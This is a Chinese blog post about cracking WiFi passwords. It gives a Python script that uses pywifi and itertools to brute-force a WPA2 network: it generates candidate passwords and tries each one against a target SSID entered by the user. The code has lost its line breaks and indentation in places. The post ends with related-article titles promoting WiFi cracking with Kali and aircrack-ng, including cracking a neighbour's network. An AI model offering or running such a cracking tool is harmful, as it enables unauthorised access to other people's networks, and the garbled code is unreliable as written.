使用pywifi这一模块
原理上是操纵网卡,然后一点一点的试密码,这里密码使用itertools模块生成
代码如下:

import time
import itertools
import pywifi
from pywifi import const # 获取连接状态的常量库
dic1 = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
dic = 'qwertyuiopasdfghjklzxcvbnm'def wifi_to_pwd(length,wifiname):l = int(length)mylist=("".join(x) for x in itertools.product(dic,repeat=l)) # 生成长度为length的密码while True:pwd = next(mylist)print("猜解WIFI密码: "+pwd)wifi = pywifi.PyWiFi() # 获取网卡接口iface = wifi.interfaces()[0] # 获取第一个网卡profile = pywifi.Profile() # 创建wifi连接文件profile.ssid = wifiname  # 设置wifi名称profile.auth = const.AUTH_ALG_OPEN  # 开放网卡profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi的加密方式,使用wpa2pskprofile.cipher = const.CIPHER_TYPE_CCMP  # 加密类型profile.key = pwdconnect = iface.add_network_profile(profile) # 设置连接文件# 开始连接iface.connect(connect)time.sleep(1)if iface.status() == const.IFACE_CONNECTED: # IFACE_CONNECTED为wifi连接状态print('wifi连接成功')breakelse:print('wifi密码不对,继续')wifiname = input("请输入wifi名:")
wifilength = input("请输入密码长度:")
wifi_to_pwd(wifilength,wifiname)

测试结果如下:

尝试一下暴力破解Wifi相关推荐

  1. Python 暴力破解wifi

    Python 使用pywifi模块暴力破解wifi实现自动登陆的效果,本次采用面向过程的方式编写,简单易懂. 思路: 首先检查是否拥有无限网卡 无线网卡是否连接到wifi 如果连接到wifi那么需要断 ...

  2. 凯撒密码加密算法python_Python最新暴力破解WiFi,攻破所有密码限制,最强破解!...

    生成密码本 对于这个密码本就是我们常用的密码,一般是有数字.字母和符号组成.而现在呢?我们就用Python生成一个简单的密码本,这里用到的思路主要是穷举法.这里用到的库是itertools,没有的可以 ...

  3. Kali使用Aircrack-ng进行暴力破解WIFI密码

    Kali系统使用Aircrack-ng进行暴力破解WIFI密码 一.什么是Aircrack-ng 运行环境 插入网卡设备 二.破解流程 1.进入管理员模式 2.查看网卡信息 3.杀掉冲突进程 4.查看 ...

  4. NO.28——Kali Linux无线渗透暴力破解WIFI密码

    近期放暑假在家闲来无事,前几天在手机上下载了腾讯wifi管家,意外地链接上了隔壁邻居的WIFI,但是在手机端无法看到密码明文,因此在考虑是否能通过Kali暴力破解wifi密码. Kali Linux常 ...

  5. 使用Kali Linux 暴力破解wifi密码详细步骤

    使用Kali Linux 暴力破解wifi密码详细步骤所谓暴力破解就是穷举法,将密码字典中每一个密码依次去与握手包中的密码进行匹配,直到匹配成功.所以能否成功破解wifi密码取决于密码字典本身是否包含 ...

  6. 如何在Windows平台用Java代码暴力破解WIFI密码

    开始进入正题.在网上找了很多wifi破解工具,都是linux平台下用的,然后还不支持虚拟机装linux.因为很多笔记本装虚拟机都识别不了内置网卡.所以得把系统刻到U盘,然后用U盘启动.但是我现在穷得连 ...

  7. pywifi暴力破解WIFI

    注:在相同目录下新建一个janywifi.json文件 随机生成8-11位数字,生成过的数字存在janywifi.json文件里,不重复,断点继续 import time #时间 import pyw ...

  8. 自学python当黑客-用Python做黑客,暴力破解wifi密码

    前几篇文章主要介绍了使用delphi开发后门及简单的远控的知识,有小伙伴说delphi已经过时了没人用了,但是笔者觉得编程语言只是实现功能的一种方式,使用你熟悉或者喜欢的语言即可. 在最近的公司项目开 ...

  9. 在linux系统下暴力破解WiFi密码

    结论:可以破开自己的,破不开别人家的.在此献上思路,仅供学习交流. 网络上的教程说的都太学术化了,其实暴力破解,就是拿wifi字典去一个一个试,如果邻居家的密码,正好在你的字典库里,那你就能成功找到, ...

  10. 通过Kali Linux暴力破解WiFi密码

    所需工具:Kali Linux系统.无线网卡(免驱动) 需要用到的命令: #查看网卡是否支持监听模式 airmon-ng #开启网卡监听 airmon-ng start 网卡名 #扫描附近WiFi a ...

最新文章

  1. JavaScript中 var reEmail=/^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$/; //邮箱检测
  2. 局域网屏幕共享软件 推荐_局域网共享软件,详细教您局域网共享软件如何使用...
  3. javax.ws.rs.NotSupportedException: Cannot consume content type
  4. 【自动化测试】整理各种测试开发工具!持续更新
  5. BZOJ 1717: [Usaco2006 Dec]Milk Patterns 产奶的模式( 二分答案 + 后缀数组 )
  6. docker 部署Java项目
  7. 简单的mock-server 解决方案
  8. 9.计蒜客ACM题库.A1602 结果填空:开关灯
  9. Python获取实时的时间
  10. 14 、软件测试-MySQL的基本使用方法-增删改查
  11. 如何隐藏电脑下方工具栏个别图标_小编教你电脑如何隐藏任务栏图标
  12. 实战Java企业商品进销存管理系统
  13. 喜讯!清华大学镜像站恢复anaconda加速
  14. 从「雄狮」到「瑶光」,奇瑞历史突破背后的十字路口
  15. 组态服务器协议,西门子1200PLC组态网络时间协议同步
  16. ubuntu18.04安装pytorch、cuda、cudnn和miniconda
  17. 2020年12月7日-2020年12月13日
  18. 2021年编程列入高考_什么是2021年最佳的后端编程语言?
  19. 开源数据集汇总 | 小目标检测、图像分类、图像识别
  20. List(数组)转Json_js版_Java版_v1.0.0

热门文章

  1. 报童模型仿真,运行不出来,哪儿出问题了
  2. 将word文档转换为图片格式的PDF
  3. Java工程师成神之路(2018修订版)
  4. Ubuntu 14.04解决minidwep-gtk无法启动问题
  5. 漂白android软件,原本图片漂白软件
  6. Java基础知识点总结归纳,超级全面!(2021版)
  7. 测屏幕坏点 android,手机屏幕坏点检测方法有哪些【详细介绍】
  8. android手机怎么用车载高德地图,用手机更新车载高德地图,汽车导航升级方法...
  9. EasyUI实现用户登录界面
  10. 用91卫图助手获取研究区(勾画研究矢量shp格式范围等)